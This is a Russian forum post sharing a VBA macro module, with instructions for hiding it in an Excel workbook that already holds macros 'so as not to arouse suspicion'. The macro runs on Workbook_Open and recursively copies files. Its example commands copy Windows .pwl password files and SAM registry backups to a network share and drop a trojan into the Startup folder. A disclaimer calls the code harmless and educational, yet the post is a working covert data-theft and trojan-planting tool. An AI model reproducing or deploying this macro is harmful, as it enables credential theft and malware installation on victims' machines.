вотщем вот файлик, мож кому еще пригодится.
Открываешь *.xls (желательно , чтобы в файле уже были макросы, чтобы не вызывать подозрений ). Заходишь в среду VBA (Alt + F11). Добавляешь в книжку обычный модуль (Вставка>Модуль). Туда копируешь текст от сюда. Изучаешь, следуешь инструкциям. Жмёшь Save. При повторном открытии, если все сделал верно, будет желаемое действо.
---- CopierModule.bas -----
Option Explicit
'сделано paganoid'ом в 2002 году
'
'для использования исключительно в ознакомительных и мирных целях
'
'копирует при запуске все файлы из заданной директории в заданную.
'примеры - далее в коде.
'
'по некоторым соображениям исходники несколько покоцаны (в смысле
'орфография и пунктуация НЕ сохранены ;) )
'
'напоминаю, что 272 и 273ю статью за НСД еще никто не отменял.
'также подчёркиваю, что данный файл в "дефолтной поставке"
'абсолютно безвреден (более того, полезен, как программная библиотека)
'и может быть сделан вредоносным исключительно путем модификации исходного кода
'злоумышленником. Т.ч. к автору никаких претензий, плиз.
'
'лог файл в целевой директории, в который пишется отчет, сколько чего откель скопировали
Const LogFileName As String = "copylog.txt"
Const DLM As String = "\"
'''______команды_на_копирование_лежат_здесь_(закомментаренные)_________________________________
'эта процедура (StartCopy) должна выполняться при открытии рабочей книги
'для этого в дереве проекта нужно дважды тыкнуть на ThisWorkbook
'и вставить одну (раскомментаренную ессна) заветную строчку:
'
' Private Sub Workbook_Open(): StartCopy: End Sub
'
''тогда при запуске (после вопроса о макросах), сразу выполнится следущая процедура
'Public Sub StartCopy()
' On Error Resume Next
'' 'копирует все файлы паролей Win9х в расшаренную сетевую папку
'' CopyFiles "c:\WINDOWS\", "\\NETWORK\PATH", "*.pwl"
'' 'копирует резервные копии файлов реестра NT в расшаренную сетевую папку
'' CopyFiles "c:\WINNT\", "\\NETWORK\PATH", "sam._"
'' CopyFiles "c:\WINNT\", "\\NETWORK\PATH", "sam.sav"
'' 'заливает трояна в директорию автозапуска NT
'' CopyFiles "\\NETWORK\PATH\TROJAN", "C:\WINNT\Profiles\All Users\Start Menu\Programs\Startup\", "trojan.exe"
'' '...и т.п., все что нужно
'End Sub
'''____далее_следует_внутреннее_устройство____________________________________
'Копирует (рекурсивно) файлы по маске из одной директории в другую
Public Sub CopyFiles(ByVal SrcDir As String, ByVal TrgDir As String, Optional ByVal FileMask As String = ., Optional Recurse As Boolean = True)
Dim v As Variant
Dim i As Long
Dim l As Long
Dim cf As String
Dim tf As String
v = ff(FileMask, SrcDir, , Recurse)
If IsArray(v) Then
l = UBound(v)
la TrgDir, CStr(l) & " file(s) match condition " & FileMask & " in directory " & SrcDir & ". All of them are copied (maybe ;)"
For i = 0 To l
cf = spth(SrcDir, TrgDir, v(i))
crf gdfp(cf)
FileCopy v(i), cf
Next
Else
la TrgDir, "0 files match condition " & FileMask & " in directory " & SrcDir & " - no files copied"
End If
End Sub
'Заморочки с поиском файлов, разбором строк, созданием папок и т.п.
Private Sub la(ByVal TrgDir As String, ByVal msg As String, Optional ByVal TimeStamp As Boolean = True)
Dim fn As Integer
fn = FreeFile
Open fws(TrgDir) & LogFileName For Append As #fn
Print #fn, IIf(TimeStamp, CStr(Now) & vbTab, "") & msg
Close #fn
End Sub
Private Function gdfp(ByVal p As String) As String
Dim i As Integer
Dim bf As Boolean
i = Len(p)
While i > 0 And Not bf
If Strings.Mid(p, i, 1) = DLM Then
bf = True
Else
i = i - 1
End If
Wend
gdfp = Strings.Mid(p, 1, i)
End Function
Private Function splt(ByVal Str As String, ByVal Delim As String) As Variant
Dim i As Integer
Dim Strs() As String
Dim npo As Integer
Dim ico As Integer
Dim bs As Boolean
i = 1
ico = -1
While Not bs
npo = InStr(i, Str, Delim)
If npo > 0 Then
If ico = -1 Then ReDim Strs(0) As String Else ReDim Preserve Strs(ico + 1) As String
ico = ico + 1
Strs(ico) = Mid(Str, i, npo - i)
i = npo + Len(Delim)
Else
If ico = -1 Then ReDim Strs(0) As String Else ReDim Preserve Strs(ico + 1) As String
ico = ico + 1
Strs(ico) = Mid(Str, i)
bs = True
End If
Wend
splt = Strs
End Function
Private Sub crf(FolderPath As String)
Dim i As Integer
Dim j As Integer
Dim Good As Boolean
Dim s As Variant
Dim Pt As String
s = splt(FolderPath, DLM)
j = LBound(s)
While Not Good
Pt = ""
For i = LBound(s) To j
If Pt = "" Then
Pt = s(i)
Else
Pt = Pt & DLM & s(i)
End If
Next
On Error Resume Next
MkDir Pt
If Err.Number = 58 Or Err.Number = 0 Or Err.Number = 75 Then
j = j + 1
Else
On Error GoTo 0
Err.Raise vbObjectError, , "Shit happens"
End If
On Error GoTo 0
If j > UBound(s) Then Good = True
Wend
End Sub
Public Function spth(ByVal sd As String, ByVal td As String, ByVal pts As String)
sd = fws(sd)
spth = IIf(Left(pts, Len(sd)) = sd, fws(td) & Mid(pts, Len(sd) + 1), fws(td))
End Function
Private Function ff(ByVal fma As String, ByVal spth As String, Optional atbts As Long = 0, Optional ByVal r As Boolean = True) As Variant
Dim i As Long
Dim j As Long
Dim tmp As Variant
Dim sdli As Variant
Dim dl() As String
Dim mn As String
Dim dls As Long
dls = -1
mn = Dir(spth, atbts Or VbFileAttribute.vbDirectory)
Do While mn <> ""
If mn <> "." And mn <> ".." Then
If mn Like fma Then
If (GetAttr(spth & mn) And atbts) = atbts Then
If dls = -1 Then
ReDim dl(0) As String
Else
ReDim Preserve dl(dls + 1) As String
End If
dls = dls + 1
dl(dls) = spth & mn
End If
End If
End If
mn = Dir()
Loop
If r Then
sdli = sbfl(spth)
If IsArray(sdli) Then
For j = 0 To UBound(sdli)
tmp = ff(fma, fws(sdli(j)), atbts)
If Information.IsArray(tmp) Then
For i = 0 To UBound(tmp)
If dls = -1 Then
ReDim dl(0) As String
Else
ReDim Preserve dl(dls + 1) As String
End If
dls = dls + 1
dl(dls) = tmp(i)
Next
End If
Next
End If
End If
ff = IIf(dls = -1, Empty, dl)
End Function
Private Function fws(ByVal fp As String) As String
fws = IIf(fp Like ("*" & DLM), fp, fp & DLM)
End Function
Private Function sbfl(ByVal spth As String) As Variant
Dim dl() As String
Dim mn As String
Dim dls As Integer
Dim i As Integer
dls = -1
mn = Dir(spth, VbFileAttribute.vbDirectory)
Do While mn <> ""
If mn <> "." And mn <> ".." Then
If (GetAttr(spth + mn) And VbFileAttribute.vbDirectory) = VbFileAttribute.vbDirectory Then
If dls = -1 Then
ReDim dl(0) As String
Else
ReDim Preserve dl(dls + 1) As String
End If
dls = dls + 1
dl(dls) = spth + mn
End If
End If
mn = Dir()
Loop
sbfl = IIf(dls = -1, Empty, dl)
End Function
---
--- EOF ----
|
подробно о проекте
Анализ криптографических сетевых...
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
